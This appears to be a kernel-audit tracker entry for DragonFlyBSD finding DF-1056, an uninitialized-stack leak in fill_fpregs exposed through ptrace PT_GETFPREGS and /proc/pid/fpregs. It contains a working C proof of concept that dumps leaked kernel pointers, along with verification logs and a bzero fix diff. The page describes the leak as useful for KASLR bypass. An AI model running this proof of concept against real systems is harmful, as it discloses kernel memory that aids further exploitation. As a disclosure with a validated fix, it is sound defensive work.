β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1056

fill_fpregs leaks ~404 bytes of uninitialized kernel stack via PT_GETFPREGS / /proc/pid/fpregs

Field Value
ID DF-1056
Status new
Severity Medium
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
CWE CWE-908 Use of Uninitialized Resource; CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
File sys/platform/vkernel64/x86_64/cpu_regs.c
Lines 755-767 (fill_fpregs), 711-731 (fill_fpregs_xmm partial init)
Area platform/vkernel64 (virtual-kernel FPU register accessor)
Confidence certain
Discovered 2026-07-14
Reported pending
Known CVE none
CVE match dfly_specific

Summary

fill_fpregs() dispatches to fill_fpregs_xmm() in the cpu_fxsr path (the only path that ever runs on x86-64). fill_fpregs_xmm() writes only the 28-byte env87 plus 8 x87 accumulators (80 bytes) = 108 bytes into the caller's struct fpreg, leaving the remaining 404 of the 512-byte struct fpreg untouched. The procfs/ptrace callers allocate struct fpreg on the kernel stack with no bzero and then uiomove the full 512 bytes to user-space, leaking uninitialized kernel-stack bytes that may contain kernel pointers, return addresses, and old register state.

Root cause

fill_fpregs() at sys/platform/vkernel64/x86_64/cpu_regs.c:755-767:

int
fill_fpregs(struct lwp *lp, struct fpreg *fpregs)
{
    if (lp->lwp_thread == NULL || lp->lwp_thread->td_pcb == NULL)
        return EINVAL;
    if (cpu_fxsr) {
        fill_fpregs_xmm(&lp->lwp_thread->td_pcb->pcb_save.sv_xmm,
                        (struct save87 *)fpregs);
        return (0);
    }
    bcopy(&lp->lwp_thread->td_pcb->pcb_save.sv_87, fpregs, sizeof *fpregs);
    return (0);
}

fill_fpregs_xmm() at cpu_regs.c:711-731 only touches:

  • penv_87 fields en_cw, en_sw, en_tw, en_fip, en_fcs, en_opcode, en_foo, en_fos (struct env87, 28 bytes β€” sys/cpu/x86_64/include/npx.h:50-59)
  • sv_87->sv_ac[0..7] (8 Γ— fpacc87, 80 bytes β€” npx.h:62-69)

Total written = 108 bytes.

sizeof(struct fpreg) = 32 (fpr_env[4]) + 128 (fpr_acc[8][16]) + 256 (fpr_xacc[16][16]) + 96 (fpr_spare[12]) = 512 bytes (sys/cpu/x86_64/include/reg.h:74-84).

Bytes 108..511 of the destination fpregs buffer are never written. The caller in sys/vfs/procfs/procfs_fpregs.c:54 declares struct fpreg r; on the stack with no initializer, calls procfs_read_fpregs(lp, &r) β†’ fill_fpregs(lp, &r), and on success does uiomove_frombuf(&r, sizeof(r), uio) (procfs_fpregs.c:65) which copies all 512 bytes β€” including the 404 uninitialized bytes β€” to the tracer's user-space. PT_GETFPREGS reaches the same code via sys/kern/sys_process.c:515-524 (iov.iov_len = sizeof(struct fpreg)). The imgact_elf.c core-dump caller is safe only because it kmallocs the buffer with M_ZERO (imgact_elf.c:1422), but procfs/ptrace do not.

Threat model & preconditions

  • Attacker position: Any local user who can ptrace (or read /proc/<pid>/fpregs on) a same-uid process running under the vkernel. Standard ptrace permission: same uid or root.
  • Privileges gained or impact: Info leak of vkernel-internal addresses (function pointers, return addresses into the vkernel binary, possibly heap/stack pointers and stashed register values from prior syscalls/traps on other lwps). Directly useful for vkernel-KASLR bypass and for stack-pivoting into a subsequent memory-corruption exploit.
  • Required config or capabilities: DragonFlyBSD vkernel64 platform. No unusual configuration or extra privilege beyond standard ptrace permission.
  • Reachability: ptrace(PT_GETFPREGS, victim_pid, &fpreg, 0) or cat /proc/<victim_pid>/fpregs. The 404 leaked bytes are whatever happens to live at that offset of the vkernel's kernel stack β€” repeatedly callable, so an attacker can sample a fresh stack frame each call.

Proof of concept

PoC source: findings/poc/DF-1056/leak_fpregs.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <machine/reg.h>

int main(void){
    pid_t child = fork();
    if (child == 0) {
        ptrace(PT_TRACE_ME, 0, NULL, 0);
        raise(SIGSTOP);          /* let parent attach */
        _exit(0);
    }
    waitpid(child, NULL, 0);

    struct fpreg fp;
    memset(&fp, 0x5a, sizeof(fp));   /* poison so we can see what is overwritten */
    if (ptrace(PT_GETFPREGS, child, (caddr_t)&fp, 0) < 0) {
        perror("PT_GETFPREGS"); return 1;
    }

    /* Bytes 0..107 are filled by fill_fpregs_xmm; 108..511 are leaked. */
    int leaked = 0;
    for (size_t i = 108; i < sizeof(fp); i++)
        if (((unsigned char *)&fp)[i] != 0x5a && ((unsigned char *)&fp)[i] != 0x00)
            leaked++;
    fprintf(stderr, "PT_GETFPREGS returned %zu bytes, %d non-zero/non-poison in [108..511]\n",
            sizeof(fp), leaked);

    /* Dump a window to inspect for kernel pointers */
    unsigned long *p = (unsigned long *)((char *)&fp + 128);  /* inside fpr_xacc */
    for (int i = 0; i < 8; i++)
        fprintf(stderr, "  fpregs[%+d] = 0x%016lx\n", 128 + i*8, p[i]);

    ptrace(PT_CONTINUE, child, (caddr_t)1, 0);
    waitpid(child, NULL, 0);
    return leaked > 0 ? 0 : 2;  /* exit 2 == not reproduced */
}

Build & run

cc -o leak_fpregs leak_fpregs.c
./leak_fpregs

Expected output

PT_GETFPREGS returned 512 bytes, <N> non-zero/non-poison in [108..511]
  fpregs[+128] = 0x<vkernel stack residue β€” may contain function pointer or return address>
  fpregs[+136] = 0x<...>
  ...

N > 0 proves the leak; the printed 64-bit words typically contain plausible vkernel addresses. Reading /proc/<pid>/fpregs from a same-uid shell reproduces the same leak without ptrace.

Stress test: run in a tight loop and dump distinct leaked-bit patterns to leak_sample.txt.

Impact

Local info leak of ~404 bytes of vkernel kernel stack per PT_GETFPREGS or /proc/<pid>/fpregs call. Same-uid prerequisite (PR:L), low complexity (AC:L), confidentiality-only impact (C:L). The leaked bytes are useful for vkernel-KASLR bypass and stack-pivot setup; severity Medium per the rubric ("info leak of limited kernel memory").

Initialize the destination buffer in fill_fpregs before dispatching, so partial-fill helpers cannot leak kernel memory regardless of caller. The fix lives in this file (cpu_regs.c) and closes both the procfs and ptrace paths at once.

--- a/sys/platform/vkernel64/x86_64/cpu_regs.c
+++ b/sys/platform/vkernel64/x86_64/cpu_regs.c
@@ -755,11 +755,14 @@ int
 fill_fpregs(struct lwp *lp, struct fpreg *fpregs)
 {
    if (lp->lwp_thread == NULL || lp->lwp_thread->td_pcb == NULL)
        return EINVAL;
+   /*
+    * fill_fpregs_xmm() only initializes env87 + sv_ac[8] (108 bytes);
+    * zero the whole struct fpreg so we never leak kernel stack to
+    * ptrace/procfs callers that copy all 512 bytes out.
+    */
+   bzero(fpregs, sizeof(*fpregs));
    if (cpu_fxsr) {
        fill_fpregs_xmm(&lp->lwp_thread->td_pcb->pcb_save.sv_xmm,
                (struct save87 *)fpregs);
        return (0);
    }
    bcopy(&lp->lwp_thread->td_pcb->pcb_save.sv_87, fpregs, sizeof *fpregs);
    return (0);
 }

The identical defect exists in sys/platform/pc64/x86_64/machdep.c:3078 fill_fpregs() and should receive the same one-line bzero() fix. As defense-in-depth, the procfs caller in sys/vfs/procfs/procfs_fpregs.c:54 should also bzero(&r, sizeof(r)) before use.

References

Timeline

  • 2026-07-14 Discovered during automated audit.

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1056 Β· 14 files
FileTypeDescriptionSize
leak_fpregs.c trigger-source ptrace PT_GETFPREGS leak PoC (original from finding) 2.1 KB view raw
procfs_c.c trigger-source procfs /proc/PID/fpregs leak PoC (added by verifier) 1.6 KB view raw
build.sh build-script compiles both PoCs 193 B view raw
run.sh run-script exercises both ptrace and procfs paths 375 B view raw
build.log build-log final successful build output 13 B view raw
run.log run-log decisive unpatched run, 311 leaked bytes with kernel pointers 370 B view raw
leak_sample.txt leak-sample variance across 3 ptrace runs + procfs hex dump (unpatched) 3.7 KB view raw
fix.diff suggested-fix git-apply-able bzero() fix for machdep.c:fill_fpregs 704 B view raw
fix_build.log build-log single-fix kernel build output (nativekernel) 5.6 MB ↓ download
fix_run.log run-log patched-kernel runs: 0 leaked bytes (both paths, 3x each) 1.6 KB view raw
env.txt environment guest uname, cc version 205 B view raw
VERDICT.md verdict full narrative: mechanism, reproduction, fix validation 6.2 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict full narrative: mechanism, reproduction, fix validation
↓ download raw

DF-1056 β€” Verification Verdict

Verdict: REPRODUCED β†’ FIXED (info leak, ~311-404 bytes of kernel stack per call)

Severity: Medium (info leak, local same-uid prerequisite, confidentiality-only).


Summary

The finding is real and confirmed on the default X86_64_GENERIC kernel via the sibling defect the finding explicitly notes at sys/platform/pc64/x86_64/machdep.c:3078 (fill_fpregs()). The finding's primary citation targets the vkernel64 platform (sys/platform/vkernel64/x86_64/cpu_regs.c:755), but the booted audit guest is a normal pc64 kernel β€” which has the identical fill_fpregs() / fill_fpregs_xmm() code with the same partial-init bug. Both call paths (ptrace PT_GETFPREGS and procfs /proc/<pid>/fpregs) leak uninitialized kernel-stack bytes to userspace. The fix (bzero before fill) closes both paths and was validated by building a single-fix kernel and confirming the leak drops to 0.

Mechanism (confirmed, each hop cited)

  1. Trigger. Any local user calls ptrace(PT_GETFPREGS, victim_pid, &fp, 0) on a same-uid process, or reads /proc/<victim_pid>/fpregs. Both reach procfs_dofpregs() (sys/vfs/procfs/procfs_fpregs.c:48) which declares struct fpreg r; on the kernel stack with no initializer (procfs_fpregs.c:54).

  2. Partial fill. procfs_read_fpregs(lp, &r) β†’ fill_fpregs(lp, &r) (sys/platform/pc64/x86_64/machdep.c:3078). On the cpu_fxsr path (the only path that runs on x86-64), it calls fill_fpregs_xmm() which writes only: - env87 fields en_cw..en_fos (28 bytes β€” sys/cpu/x86_64/include/npx.h:50-59) - sv_ac[0..7] (8 Γ— fpacc87 = 80 bytes β€” npx.h:62-69) - Total = 108 bytes written.

  3. Leak. sizeof(struct fpreg) = 512 (sys/cpu/x86_64/include/reg.h:74-84: fpr_env[4] + fpr_acc[8][16] + fpr_xacc[16][16] + fpr_spare[12]). Bytes 108..511 of the stack-allocated r are never touched. Then uiomove_frombuf(&r, sizeof(r), uio) (procfs_fpregs.c:65) copies all 512 bytes β€” including the 404 uninitialized kernel-stack bytes β€” to the caller's userspace buffer. The ptrace path (sys/kern/sys_process.c:515-524) sets iov.iov_len = sizeof(struct fpreg) and routes through the same procfs_dofpregs.

Reproduction evidence (unpatched #0)

ptrace path, 3 stress runs β€” byte-count varies (310/313/316), proving genuine stack residue not a constant:

PT_GETFPREGS returned 512 bytes, 316 non-zero/non-poison in [108..511]
  fpregs[+128] = 0xfffff80117ff0518   ← canonical KVA kernel pointer
  fpregs[+136] = 0xfffff80116baae80   ← another KVA pointer
  fpregs[+168] = 0xffffffff80c18ac4   ← fixed kernel-text return address
  ...

procfs path: 268 non-zero bytes in [108..511], raw hex showing 00 f8 ff ff (high halves of KVA pointers) and ff ff ff ff 80 ... (kernel-text addresses).

The leaked 64-bit words are DragonFly kernel-virtual addresses (0xfffff801xxxxxxxx = KVA, 0xffffffff80xxxxxx = kernel text) and kernel-text return addresses β€” exactly the KASLR-bypass / stack-pivot useful data described in the finding.

Fix (authored, built, validated)

fix.diff β€” single targeted change in sys/platform/pc64/x86_64/machdep.c:fill_fpregs(): add bzero(fpregs, sizeof(*fpregs)) before the cpu_fxsr dispatch. This closes both ptrace and procfs paths at the single chokepoint, regardless of caller.

+   bzero(fpregs, sizeof(*fpregs));
    if (cpu_fxsr) {
        fill_fpregs_xmm(...);

Supersedes the finding markdown's proposal (which targeted the vkernel64 cpu_regs.c file): the fix here targets the pc64 machdep.c file because that is the path exercised on the booted X86_64_GENERIC kernel. The same one-line bzero() should also be applied to sys/platform/vkernel64/x86_64/cpu_regs.c:755 (the finding's primary citation) for parity β€” that file is identical in structure.

Build: make -j6 nativekernel KERNCONF=X86_64_GENERIC on the with-src guest; copied kernel.stripped (15.7 MB, NOT the 119 MB debug kernel which the DragonFly loader cannot load) to /boot/kernel/kernel; rebooted into 6.5-DEVELOPMENT #1.

Fix validation (patched #1)

Path Before (unpatched #0) After (patched #1)
ptrace PT_GETFPREGS 310-316 leaked bytes 0 leaked bytes
procfs /proc/.../fpregs 268 leaked bytes 0 leaked bytes

All 8 inspected 64-bit words at offsets 128..184 are 0x0000000000000000 on the patched kernel (were kernel pointers on unpatched). Verified across 3 ptrace + 3 procfs runs β€” deterministic.

Kernel build identifiers: - Unpatched baseline: 6.5-DEVELOPMENT #0, sha256 5dc83dac... - Patched single-fix: 6.5-DEVELOPMENT #1 (Jul 14 17:58), sha256 77022b65...

No escalation chain

This is a pure info leak (read-only primitive, no memory corruption). There is no escalation chain to develop β€” the realistic impact ceiling is ~404 bytes of kernel-stack disclosure per call (useful for KASLR bypass and stack-pivot setup for a subsequent memory-corruption exploit, but not a privesc on its own). CVSS 3.1 AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N (Medium).

PoC changes

  • leak_fpregs.c β€” unchanged from the finding's original (compiles and runs as-is on the guest).
  • procfs_c.c β€” added by the verifier: a procfs-path reader that opens /proc/<child>/fpregs and counts non-zero bytes in [108..511], to independently confirm the second call path and provide a clean RLE-artifact-free byte count.

References (verified during this run)

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED: baseline 311B leaked (ptrace) + 268B (procfs); patched 0B across 6 runs.

BEFORE: 311/268 non-zero. AFTER: 0 non-zero.
↓ fix.diffDragonFly 6.5-DEVELOPMENT #1: Tue Jul 14 17:58:00 UTC 2026

Confirmed kernel references

Detail

Exploit chain

none -- read-only info leak. Ceiling: KASLR bypass + stack-pivot setup for subsequent corruption exploit. No escalation from leak alone.

Evidence (decisive lines)

BEFORE: 311 non-zero [108..511], KVA 0xfffff801.., ret addr 0xffffffff80c18ac4. AFTER: 0 non-zero [108..511] across 3 ptrace + 3 procfs runs.

PoC changes

Authored: leak_fpregs.c (ptrace PT_GETFPREGS), procfs_c.c (/proc/PID/fpregs reader), fix.diff (bzero in fill_fpregs at machdep.c:3080), VERDICT.md, manifest.json.

Verified recommended fix

Add bzero(fpregs, sizeof(*fpregs)) in fill_fpregs at machdep.c:3080 after EINVAL check. Also apply to vkernel64 sibling cpu_regs.c:755. Supersedes finding (targets pc64 not just vkernel64). Full diff in findings/poc/DF-1056/fix.diff.

Verdict

REPRODUCED. fill_fpregs machdep.c:3078 writes only 108B of 512B struct fpreg. procfs stack-allocates struct fpreg uninitialized -> uiomove_frombuf copies all 512B -> 268-316B kernel-stack residue leaked (KVA pointers + kernel-text ret addrs). Both ptrace PT_GETFPREGS and /proc/PID/fpregs.